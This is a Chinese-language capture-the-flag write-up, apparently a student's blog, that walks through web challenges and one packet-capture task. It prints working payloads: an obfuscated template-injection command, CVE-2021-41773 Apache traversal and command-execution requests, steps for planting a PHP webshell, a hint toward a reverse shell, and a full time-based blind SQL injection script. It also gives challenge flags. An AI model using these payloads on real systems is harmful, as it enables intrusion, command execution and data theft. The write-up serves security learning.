我用事实证明了我是一个奇葩,哈哈,不过后面做出来了
这里点评一下,ssti最简单,Apache最麻,不过吧,终于是再次当了一回ak佬,哈哈哈
这一题是我最后做出来的,确实是我想的太麻烦了。。。。渲染,我把他想过头了
最后简单的想一想就做出来。。。
因为他的解析漏洞,例如1.php.1111,过滤只看1111,但是系统不认识1111,就会往前寻找,PHP他认识,就会当做php文件执行。
我们创建一个文件里面内容为
修改文件名为11.php.lsajdkf
这个后缀就是随便的
上传之后用蚁剑连接
注:这里是不是有错别字,咳咳,谁去嘲讽一下烨
查看flag,得到提示flag在env里面,env就是环境变量
好了下一题
这个是简单的,就是相比较于ssit2多加了一个过滤 _ (下划线)
这里我们直接把ssti2的payload拿过来改一下,想看详细一点的,可以看我的第三周的学习记录的ssti1,那个要详细一点
我们这里将 _ 16进制编码一下就行
payload:?name={{[]['\x5f\x5fcl''ass\x5f\x5f']['\x5f\x5fba''se\x5f\x5f']['\x5f\x5fsubc''lasses\x5f\x5f']()[117]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}
得到flag,走下一个
这个进去就给了一个304的包,其他什么都没有,扫后台只有一个index.html和一个404/cgi-bin
这里我比较愁诶,但是我的学长突发的说“感觉It works!”是一个nginx还是什么的漏洞,我以为是提示,直接翻译过来工作原理。。。。给我看的有点麻,但是经过突发的提示,我就比较有思路了
找到了他的漏洞Apache HTTP Server漏洞(CVE-2021-41773 - 目录穿越引起的文件读取与命令执行)
先测试漏洞,是可以的。
GET传/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
接下来进行命令执行
POST传POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash
echo;ls
代码
这里我们是通过shell_exec这个函数来执行命令,但是这个函数他只执行并不回显。
所以我们要通过其他方法来来获得他的回显。
这里我第一个想到的是反弹shell,这里禁用bash,那时候我想到的就是反弹shell,因为bash被禁了,我们可以使用/bin/sh或者/bin/ba?h一样的
还不会公网反弹shell这里有个可以让大家了解一下 公网反弹shell 和 J1an
但是这里提醒一下这个并不能获得flag,原因我询问大佬,说的是因为不能出网,shell反弹不了
但是他这里并没禁用一些东西,我们可以写个马进去。
这里我使用,下面这个先进行测试
?cmd=echo "" > 1.php
接下来直接访问1.php就行了
可以访问,这里先看到,再去看看根目录
发现了flag,但是发现读取不了,怀疑是空或者权限太低了,这里我们写一个马进去看看
在liunx写马大家要记住
正确的写法: 是要加一个反斜杠的
不正确写马就会这样
你会发现$_POST[1]不见了
所以这里给大家提一个醒,顺便把windows的正确写法放在
echo ^ > 1.txt
这里我们写一个马进去看看
果然我们没有读取flag的权限
我原本想到的是写一个root权限用户,覆盖passwd
但是想到还有个命令可以越权读取的
这里我们使用
date -f ffll444aaggg
读取flag
说实在的这个已经提醒了
啊呜,好困呜呜~~~ 困莫,sleep延时莫,所以就是sleep延时注入莫
因为测试出了一点小问题,这里就不进行详细讲了,尤其他是进行GET传输的,不是post,这还要多谢大佬的提醒,还是做的太少了
脚本的话把上周的脚本改一下就能用
import requests
import time
s = requests.session()
url = 'http://c6397a81-710d-4e9b-8c25-3ce292acfea5.node4.buuoj.cn:81/comments.php?name='
flag = ''
i = 0
d = 0
while d == 0:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
# payload = f'1%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3))'
# payload = f'1%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3))'
payload = f'1%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3))'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
r.encoding = "utf-8"
print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
加油各位!
这里顺便赠送一道misc(说实话就会这一道,哈哈哈)
都是http的包先过滤一下http看看
这里我们看到了,其实这就是在进行盲注,而且是在读取文件了
所以我们就找它与下一个数字的最后一个数字的值
所以第一个就是f
找下来就能得到flag
flag为flag{c84bb04a-8663-4ee2-9449-349f1ee83e11}